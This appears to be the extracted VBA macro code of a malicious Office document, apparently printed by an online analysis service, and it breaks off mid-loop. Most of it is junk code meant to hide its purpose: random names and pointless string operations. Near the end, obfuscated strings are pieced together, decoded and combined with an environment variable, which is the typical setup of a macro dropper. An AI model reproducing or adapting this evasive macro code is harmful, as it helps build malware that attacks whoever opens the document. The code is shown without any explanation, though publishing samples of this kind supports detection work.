    NbMLsYblOMua = 60 - 46 - 5 - 73
    XjJKJOI = Space(5) + Left("L$#sXKEi  ^[O? [$^N", 2)
    gQEwuTwq = 82 + 64 + 23
    tZVNhvwAWbkK = Left("vgn#^V FYjN A  ]", 5) + LTrim("G^K qNQ Tb xH")
    

    udbpnsezKhCW = Right("#K#on v Cf w( Fi ) ", 5)
    uCwvipQmJ = RTrim("cC q ") + StrReverse("a ^.o[!wa")
    DLeQq = Space(16) + Left("^Bz W[Nl_WySe sfhYs", 2)
    bBGMBJFE = Space(4) + Left("M -JhKY", 2)
    SYFUEJE = LTrim("u)YfEvih")
    NbMLsYblOMua = RTrim("Q   m S)") + StrReverse("kj %Heb    EN vByM")
    LxZEIt = LTrim(".DVOox! xj")
End Sub



Attribute VB_Name = "Module7"

Sub imXzAt(TgXBhp As Boolean, BNNsZE As Integer)
    IROfubU = 51 + 73 + 21 + 36
    

    TjZKkRlVdCTE = Space(10) + Left(" lHl ylT-$v[v%CkIsr ", 5)
    AZrIZY = RTrim("SZV@YTc  !eK BU #S") + StrReverse("nktV q vtsZ w  ")
    zbwxNKU = RTrim("qo! [J)CHgVDwg ") + UCase("lU.yJ  !g J q[goum")
    zbwxNKU = 32 - 11 - 46 - 85 - 59 - 41
    LxZEIt = 10 - 29 - 70 - 77
    RfwTMI = Right(")ui$o .Ng T _(@_", 4)
    DLeQq = Right(" nTZDC", 3)
    SYFUEJE = RTrim("FKxS ") + UCase(" rTe^")
    

    

    NbMLsYblOMua = Right("e.  WBhpuD#m  i[ %fz", 3)
    TjZKkRlVdCTE = RTrim("nd  nlz  pZ ox$  cp") + UCase("vfAbZtZ  D(v O z")
    NbMLsYblOMua = LTrim("gFiYjOi")
    iGZjNnC = Left("md?e)r H s]KJ FPMh", 2) + LTrim(" sM% R&  lp")
    zbwxNKU = 70 - 88 - 22 - 17 - 51
End Sub



Function MYskra(rWWDiUS As Integer, eGlxAcb As String) As String
    udbpnsezKhCW = 34 - 65 - 90
    VWDAwl = UCase("x -DbH n") + RTrim("bbNM? k w  G")
    tZoQLOLApBj = Left("pPf@ZqV[f    ir ", 5) + LTrim(" (E  ")
    TjZKkRlVdCTE = 89 - 79 - 57 - 54
    yQWmjIKMJv = Left("I#Ef p ]cAcz", 3) + LTrim(")b]ofLM(]MA ")
    aByOkcoa = 1 - 76 - 88 - 69 - 70
    

    While QcSkyQ < 3
        SuOnY = UCase("Rg e^ L") + RTrim("o tWUjcDCJj K)lOp")
        SYFUEJE = UCase("q  rI%") + RTrim("-  i$N  ")
        

        tZVNhvwAWbkK = 18 + 68 + 88 + 68 + 41
        

        QcSkyQ = QcSkyQ + 3
    Wend

    ENJvSPjgCm = 49 - 72 - 21 - 25
    

    rYXMhuPVqHa = RTrim("]mOJSLu VEd -") + StrReverse("B[(   w[rYf")
    aByOkcoa = 19 - 69 - 47
    

    TjZKkRlVdCTE = Left("NtW!ioSG[ .", 5) + LTrim("xcP  lwlqvXX[B")
    udbpnsezKhCW = RTrim(" ]Q?^- $- eH%Hd") + UCase("W SM- #")
    MYskra = "ghtkHtSFGTJFnLT"
End Function



Attribute VB_Name = "Module8"

Function NNpcnV(LKpPfxb As Integer, xRGuTuI As Double, oRXFnGR As Integer) As String
    IbgdM = RTrim("wodsTJ hh") + UCase("TKN]]Sum D")
    gQEwuTwq = LTrim("k[rH?(AJk@[-M  Z")
    TjZKkRlVdCTE = RTrim("UDhg  A") + StrReverse(" Q]  F J rN%")
    fgXjfqt = Space(16) + Left(".Y  $? ^ )Gy#v", 2)
    LxZEIt = UCase("$_UNU Ca   ") + RTrim("l eUcDlT_")
    PrCWXbwDMkhI = UCase("_??&Um") + RTrim("TU^#lYEAZO   ")
    NbMLsYblOMua = RTrim("Hh jmt#?  ") + UCase("mxkp  W  A M!")
    

    iGZjNnC = Left("  -  YwW k   $iw py", 4) + LTrim("Q$ ^MIMYDK-C ")
    phnWlYcwBi = 64 + 92 + 99 + 93 + 24 + 51
    rYXMhuPVqHa = UCase("hL l o") + RTrim("#g?W [ ")
    tZVNhvwAWbkK = LTrim("qF  R")
    TjZKkRlVdCTE = Left("QUk i RfRr^", 5) + LTrim("o.Icyd X_uu_kbig")
    

    TjZKkRlVdCTE = Left("(H !cva   t", 2) + LTrim("G EKP")
    

    uCwvipQmJ = UCase("  #X fP D[@") + RTrim("nE(v XI jV")
    uCwvipQmJ = Space(18) + Left("GWf f dZ  ghopP", 2)
    TwKoWUfAkwu = UCase("S[N !FH .Sw]$_ na ") + RTrim("&?$&PpaTXOc Bjf")
    NNpcnV = "wJCtqbnTlAWTVVQnadR"
End Function



Function UVkbVv(xOpQife As Double, zrRAxd As String, ODNYcrR As Double) As String
    ZmIYgen = Right("LV dT @   ", 3)
    ENJvSPjgCm = Right("-uO  xA.O$ ^i ", 4)
    ZmIYgen = RTrim("c#r VzuY") + UCase("K^j^]")
    IbgdM = Left("   BT!", 4) + LTrim("  rEHcn X? ")
    

    fILuLXWq = 95 + 10 + 15
    AZrIZY = LTrim("f%LIDjaYwr_ M](f@^t ")
    bBGMBJFE = 69 - 99 - 75 - 92 - 14
    vJmTebgYxN = Left("Cy  ]to", 4) + LTrim("kkgJ  xw  G")
    For kfdyRp = 2 To 8
        fILuLXWq = LTrim(" cK(?  SvZ Y(AST m")
        

        RfwTMI = RTrim("aS JTHmWif^t w") + StrReverse("u r MT_ U oewrtoNx")
        rYXMhuPVqHa = Space(3) + Left("^T!XHZejgv f  ", 5)
    Next kfdyRp

    For opeFFG = 2 To 5
        While jZcYmn < 2
            tZoQLOLApBj = UCase("G Htz u ") + RTrim(" LYl KzE  t TXztO R ")
            RpvQBAVFDuWU = Left("GMt%PjQ.p", 4) + LTrim("Nap?(C  O.!F  B b")
            phnWlYcwBi = 7 + 70 + 35
            jZcYmn = jZcYmn + 1
        Wend

        qbKEaN = LTrim("#u&j&-e?yx JXB Acp")
        PrCWXbwDMkhI = Space(11) + Left("nT RV x#b hLL m^n R", 3)
        zCrIwrfPWOwy = LTrim("n s_Y! puC[n")
        vJmTebgYxN = RTrim("  ZCY@@y@u$z&p[Nn[ @") + UCase("-Q  P FPJkmEby")
        aGgmvUwWvX = LTrim(" sqm[ Jz")
    Next opeFFG

    XWDqdnwbYT = RTrim("@iq $NVX") + UCase("F  @?)S[x")
    fILuLXWq = 45 + 44
    For nuUega = 2 To 7
        WgUpPeLQ = RTrim("Pf  dR% h   Q") + UCase("Kc lY!D D#U#?  Ru")
        RgpJgTNTBdPD = LTrim("!  IR")
        TjZKkRlVdCTE = RTrim("HMND[ amU- RjmbV") + UCase("$gqfJlFt) A b) T]cW")
        XWDqdnwbYT = UCase("V!fQSUop^X ") + RTrim("@U? @N %Kia y]Ct ^s")
    Next nuUega

    zbwxNKU = RTrim(") o  ") + StrReverse(" RhU!S")
    iGZjNnC = RTrim(" r O!f   #y Q ") + UCase(" kBp W^JX CJnKn Fg")
    phnWlYcwBi = UCase("(hqujFIF])") + RTrim("Nz &uNetxC")
    

    yQWmjIKMJv = Space(7) + Left("ENy^ ] l(j", 3)
    UVkbVv = "vLSIxAdMiSTTToTdmvS"
End Function



Attribute VB_Name = "Module9"

Function ZHmYYt(dVyzWU As String, ogkcjo As Double, fnnMVg As Double) As String
    zbwxNKU = 46 - 66 - 28
    For VmWIXz = 2 To 10
        AZrIZY = RTrim(" WB W  e DmkS") + UCase("wx!l]K&q d")
        zCrIwrfPWOwy = Space(1) + Left("mTFq lRb zR", 3)
        ZmIYgen = UCase(" ! P_") + RTrim("nV-QRSI&bq_a")
        VWDAwl = RTrim("CJqbsU&CTtdTATQe$") + StrReverse(" _T  o kxEhRYC K  ")
        uqklirm = Right("   I (Bo$!", 3)
    Next VmWIXz

    PKgnsGuVrN = LTrim("%R u  ")
    aByOkcoa = Right("H d$LBr", 3)
    For yvAeDL = 2 To 5
        zbwxNKU = 39 + 3 + 25 + 28 + 21
        XjJKJOI = LTrim("u ][z AFSb[?@b re X")
        bBGMBJFE = Space(17) + Left("W @i  ?)y vUTu%w", 2)
    Next yvAeDL

    dyJalXm = RTrim("a  qr QfKFmDzv&v  Eu") + StrReverse("pJ & W]EWWh #_")
    ENJvSPjgCm = LTrim("pDCE gDx#RUt  )iQf#")
    eRGDRVEZwF = Space(12) + Left(" .MmcTN-wd [ -   ?P", 2)
    XWDqdnwbYT = RTrim("CJV  YM t gr") + UCase("u &e  v lz_dMZ")
    yQWmjIKMJv = Space(9) + Left("J g.EvlmR!h s(  ", 2)
    

    UIxWwwSAJm = 18 - 79 - 74 - 96
    glIlkQXjXZ = RTrim(" m  n   i") + UCase("  qoSoO?yfN nI]@)jr ")
    RgpJgTNTBdPD = Space(11) + Left(") E(d", 3)
    UvDevhN = Space(11) + Left("a  O-sGl#Md N oaxg x", 5)
    LxZEIt = UCase("  g  ^ r  ?Zd! ]BE)") + RTrim("TOE   !   H)R bdL ")
    ZHmYYt = "MREluUTpiNYXkmrS"
End Function



Attribute VB_Name = "Module10"

Sub crFCQX(HzbxaP As Integer, NVXIXAH As Integer, NjvkYZ As Integer, iTwMGok As String, FnbSUd As Double)
    bBGMBJFE = Space(13) + Left("   Xuuhb D Cv  ", 2)
    ENJvSPjgCm = UCase("Xj]l)-nMs vS!  ") + RTrim("FK#&W%ZO.pv@")
    

    XWDqdnwbYT = Right("fHFisbW ?l_  U wpis", 5)
    bBGMBJFE = RTrim(" yRONK M(RAAk") + StrReverse(".$XJ[  zXA#")
    gQEwuTwq = 99 - 13
    For lfmOUF = 2 To 6
        VWDAwl = RTrim("OgDq pHjBO ") + UCase(" ^)sCYl n  E.")
        XWDqdnwbYT = Right("  hr ", 2)
        fgXjfqt = 63 - 82 - 64 - 74 - 26 - 76
        

        dyJalXm = 91 + 71
    Next lfmOUF

    LxZEIt = 96 - 25 - 4 - 48 - 60 - 25
    glIlkQXjXZ = RTrim("LDoV Hucv") + UCase(") B _ dP! sN")
    fILuLXWq = Space(13) + Left("@wE&Yl  R vQAR G ", 3)
    UIxWwwSAJm = 11 - 25
    RpvQBAVFDuWU = RTrim("^ .^ _hf# eQQB") + UCase("kT D &")
    VWDAwl = 41 + 28 + 83
    PKgnsGuVrN = 63 - 81 - 40 - 100 - 15 - 89
    TjZKkRlVdCTE = UCase("fJ  l") + RTrim("B  GL uxR")
End Sub



Attribute VB_Name = "Module11"

Sub cHqodD(tYxsdY As String, qNEfef As String, EOjgMR As String, EMEcQX As String)
    aGgmvUwWvX = UCase("-v)aOWawG  s qt hzT") + RTrim(" TIq  lTR ")
    glIlkQXjXZ = RTrim("JS YCtCnmkD uB") + UCase("$EznxIMkCqRy?Z")
    LxZEIt = Space(1) + Left("fOF^ ", 2)
    dyJalXm = 81 + 90 + 36
    TwKoWUfAkwu = 32 - 11 - 34 - 6 - 44 - 11
    IbgdM = RTrim("c JmnDJT QZ%! K@") + StrReverse(" qHeFWGHLiy ic WlG -")
    XjJKJOI = LTrim("  f^t-oFL)g$ l ^jH ")
    LxZEIt = RTrim("  RX   n%IlX") + StrReverse("#!z#mf ")
    

    For hemBCJ = 2 To 5
        For YFqbrP = 2 To 8
            TjZKkRlVdCTE = UCase("X  d  &He(! O.Ns   )") + RTrim("  -nsjcj CwB sv ")
            XWDqdnwbYT = LTrim(" H[I  w p%D Ak")
            gQEwuTwq = Right("D & ^^T-h)]FL  U- Q", 4)
            WgUpPeLQ = RTrim("x%q XRw I)EWq") + UCase("Z @VA)Sse km q")
        Next YFqbrP

        SuOnY = Space(18) + Left("g a@ o", 3)
        LxZEIt = 36 + 63 + 35 + 29 + 14 + 34
        XWDqdnwbYT = Space(3) + Left(" -[z a&XA^zeQp ", 3)
    Next hemBCJ

    PKgnsGuVrN = RTrim("ComT   Kv yhA c ") + UCase(" z HGq M$ c@@ uf S. ")
    For FFmDdk = 2 To 4
        While QuKwYY < 5
            fgXjfqt = UCase("dghB ") + RTrim("h$!]^ Y")
            uCwvipQmJ = 59 - 99
            eRGDRVEZwF = 54 + 62 + 24 + 23
            uqklirm = RTrim("QCVm ^bV yh[  ") + UCase("]DiBc  Z?n")
            ZXjjoFJNkrf = Space(8) + Left("y RFIU-(  !][r% m", 3)
            QuKwYY = QuKwYY + 1
        Wend

        RfwTMI = RTrim("e  (YC") + StrReverse("  Jb!gW%)zO $!i")
        tZoQLOLApBj = Space(4) + Left("Le eC]I", 2)
        fILuLXWq = UCase("zqJhL R# AQ TLO") + RTrim("!-eJWlxw%")
        XWDqdnwbYT = UCase(" ( -D@#GOrX( ") + RTrim(")cP  EarFG HO z")
        RpvQBAVFDuWU = Right("zBwO]jtD ", 3)
    Next FFmDdk

    

    glIlkQXjXZ = UCase(" SJ& ") + RTrim("FJ sTYDemd[TF ?")
    TwKoWUfAkwu = 34 - 100 - 75 - 88
    udbpnsezKhCW = UCase(" rfd g  $J ") + RTrim("&V-EY Zvqv%p  S")
End Sub



Attribute VB_Name = "Module12"

Sub lRTERd(hlZRpt As String, xXOHizK As Integer, IbDXLX As Integer, mHvyEu As Double)
    

    While GMTwvj < 5
        While YRWGZn < 4
            zbwxNKU = Space(6) + Left("F ) IN", 2)
            WgUpPeLQ = LTrim(" EMZu")
            IROfubU = Right("Y$ qsJp !uUcX  x", 2)
            ZXjjoFJNkrf = Left(" Q)  o OL $VcQ", 5) + LTrim("_qGJ yg!Rf")
            YRWGZn = YRWGZn + 3
        Wend

        NbMLsYblOMua = RTrim(" (RT?GSo% M&SI") + UCase("j    fi  E n pQ")
        RpvQBAVFDuWU = Space(17) + Left("PVx-FVNM  @OekZr!", 5)
        

        eRGDRVEZwF = LTrim("]U_I &pBrFB ")
        GMTwvj = GMTwvj + 3
    Wend

    AZrIZY = Space(18) + Left("r  K(X  ", 3)
    HEwHXAFYSvYR = Space(15) + Left("E@ .B?", 4)
    SYFUEJE = 51 + 96 + 19 + 37
    uCwvipQmJ = 17 + 85 + 35 + 50
    XWDqdnwbYT = Space(10) + Left("m n VNuY@ Z Xe?ZfS", 3)
    glIlkQXjXZ = Right("wK[ wAqxv$Sal  JT  j", 2)
    UIxWwwSAJm = LTrim("f JKA aH y.")
    

    NbMLsYblOMua = RTrim("GN! P mB# Riq i i ") + StrReverse("ke_(o B )")
    AZrIZY = UCase(" - ?Jh") + RTrim("C  uyG(?")
    ZXjjoFJNkrf = RTrim("v@ RF zW") + UCase("  #RDEQ ro r Px a ")
    vJmTebgYxN = RTrim("Wk (v. d -k]oEWmn") + UCase("S  UA ")
    aByOkcoa = 65 - 12 - 17
End Sub



Sub fIwXpv(jXcGA As String, Uq As String, hGJZ As String, Asnh As String, yd As String, pYOd As String, MFM As String, pncJ As String, oThXK As String, fBXS As String)
    vJmTebgYxN = LTrim("l B -D ^")
    SYFUEJE = RTrim("Ty P cUCNq v@Vtzp") + UCase("EF)Ajittj iM#@r ")
    While ptHfHz < 5
        

        yQWmjIKMJv = Left("  uc$C o d  ", 2) + LTrim("R RNL[Hp M$-  hB")
        yQWmjIKMJv = RTrim("r.i  ]Xy ") + UCase("J pHwLgCrmGJC_% ")
        ptHfHz = ptHfHz + 2
    Wend

    While rdirzh < 1
        For pQoBOk = 2 To 6
            TwKoWUfAkwu = Space(18) + Left("L# v!EX ", 3)
            TwKoWUfAkwu = Left("(bM xT xv", 3) + LTrim("!Ufs!A  ] ")
            RpvQBAVFDuWU = Right("oGGr.bTU_- jH ", 4)
        Next pQoBOk

        IROfubU = Left(".[  n z q ^", 5) + LTrim("iKHRz   ")
        UIxWwwSAJm = UCase("d &?kb#_QP  KH?lGmC") + RTrim("CY^w$h M@ ")
        WgUpPeLQ = Left("t!St _oVe !rJp#N", 3) + LTrim("yR  _c&")
        JesEVaLTMDe = RTrim("%-@kHwyjkS     u #") + StrReverse("[ETWQunkdH(! f ")
        rdirzh = rdirzh + 3
    Wend

    DFphNQOCi = 25 - 53 - 29 - 78 - 14
    aGgmvUwWvX = UCase("c da.[  j]Wuy# FnW z") + RTrim("par@J   ) xp")
    glIlkQXjXZ = RTrim(" G)fuAuot") + UCase("osLJUO LSdze gj")
    phnWlYcwBi = RTrim(" JC &@Y") + UCase("^ xzRIn   K  M ")
    eyvWwADE "OAjovnE", "YirJiP", "OjhMQeCcGa", "FWajrUmuJf"
    Dim dFKDpO As String
    dFKDpO = "xvl[s?X bAytR!O (cz "
    dFKDpO = dFKDpO + "] vzi .oDfMfSSA-hqJj"
    PrCWXbwDMkhI = RTrim("t bzs ] Kjq@ tB  A-K") + UCase("QI  kU    ")
    ENJvSPjgCm = Right("gy^ ##vwJ Jt ", 3)
    tZoQLOLApBj = 73 - 3
    dFKDpO = dFKDpO + "hTz-PlPhe vBInyj]@  "
    LxZEIt = Space(1) + Left("fHwN ] C", 3)
    While kTdWSo < 5
        For tOTnsS = 2 To 7
            bBGMBJFE = Left(" wi psT-", 4) + LTrim("oU d %C ")
            TwKoWUfAkwu = Left("um)S [N?nIc &j m]", 3) + LTrim("jD C k-  Xxdvv")
            tZoQLOLApBj = Left("?   Jw @   h  R", 5) + LTrim("dpM P_")
            glIlkQXjXZ = RTrim("s fk ") + UCase("v  &a KXmN")
        Next tOTnsS

        zbwxNKU = Right("ZaQIcuTDAz ^", 5)
        eRGDRVEZwF = 65 + 76 + 67 + 33
        gQEwuTwq = RTrim("ER z^KR") + UCase(" f lPPs F   WqkbY) ")
        qbKEaN = RTrim("p$B. n") + UCase("h q( Lc_! I rB Bhy l")
        zbwxNKU = 61 + 75 + 29 + 21 + 40 + 61
        kTdWSo = kTdWSo + 2
    Wend

    RfwTMI = 86 - 90 - 94
    dFKDpO = dFKDpO + "\AB!xQOotL rRbhVh GC"
    zbwxNKU = RTrim("_ xjB   ") + UCase("ymh  qT^H@  #")
    LxZEIt = RTrim("#  g th!Q  #hyH") + UCase(" kZnFP  RZ")
    ENJvSPjgCm = RTrim("xJk@g  T]ez") + UCase("_Y l S   )W gDxC")
    dFKDpO = dFKDpO + " jzTYiNr_Z.! dU(e^AO"
    RpvQBAVFDuWU = RTrim(" O)UEy)#O mzn^u!@%?") + StrReverse("?Ism$ OMQeWY)")
    IROfubU = LTrim("# ^_p A !##tM  qt")
    uqklirm = Space(8) + Left("H_Pjh rNky  j  &RyC]", 2)
    dFKDpO = dFKDpO + " -x^d)q$e w m$"
    UvDevhN = 34 - 96 - 37 - 41 - 52
    ZXjjoFJNkrf = RTrim("l Le!ig z d@") + UCase("g tNv")
    DLeQq = 29 + 38 + 75 + 33
    dFKDpO = Replace(ipynMquR(dFKDpO), "xXRziMhzey", Environ(uJMrgHoW("Ap@[  lV %bRl(DEHQUNWzP sa._Use)yYXkrFgem_sN Mi_Pz]J&Pr U uYok AUof#RoWZilw?wkloRZYeezT q ")))
    LxZEIt = LTrim("Tfm vJH(.  y#Rh  b[")
    rYXMhuPVqHa = 67 - 81 - 5
    For JHaiLs = 1 To 792
        


        While lVQywt < 1
            For VWAUCp = 2 To 7
                UIxWwwSAJm = 52 + 94 + 77
                

                DLeQq = RTrim("B iZJg pKz z!P-(k&Y") + UCase("KIuOf  ")
                XjJKJOI = Left(" @ot LQXf$^zylFRE", 3) + LTrim("hwc  f   & A n  Mp ")
            Next VWAUCp

            IROfubU = UCase("y V! zN$ d _") + RTrim("H! ulDdG l")
            VWDAwl = LTrim("   ]YIGk $z  P.")
            uCwvipQmJ = RTrim("z e[  TH$V K_QNM]O") + UCase("&%DmNOi bs")
            lVQywt = lVQywt + 2
        Wend


        If JHaiLs = 468 Then
            For wAxLSD = 2 To 6
                zbwxNKU = RTrim("M  B  BY Mz ") + UCase("NT  jZ$ W  Zy i[nF")
                XjJKJOI = UCase("h % ]JD&#m u") + RTrim("tw  Z jm")
                HEwHXAFYSvYR = Left(" ]b n Xf   L[ ix", 3) + LTrim(")] PSQxcVee)   yVZG")
            Next wAxLSD

            yQWmjIKMJv = RTrim("S@ -tp") + UCase("!jOL(&G x_z B gz rpS")
            

            aByOkcoa = LTrim("Ac fO  .oH (s$ yrq ")
            IbgdM = UCase("DEN E^%Kw") + RTrim("R)IM@_O p LlqZV")
…

Open this report in the interactive analyzer, or submit your own file for analysis.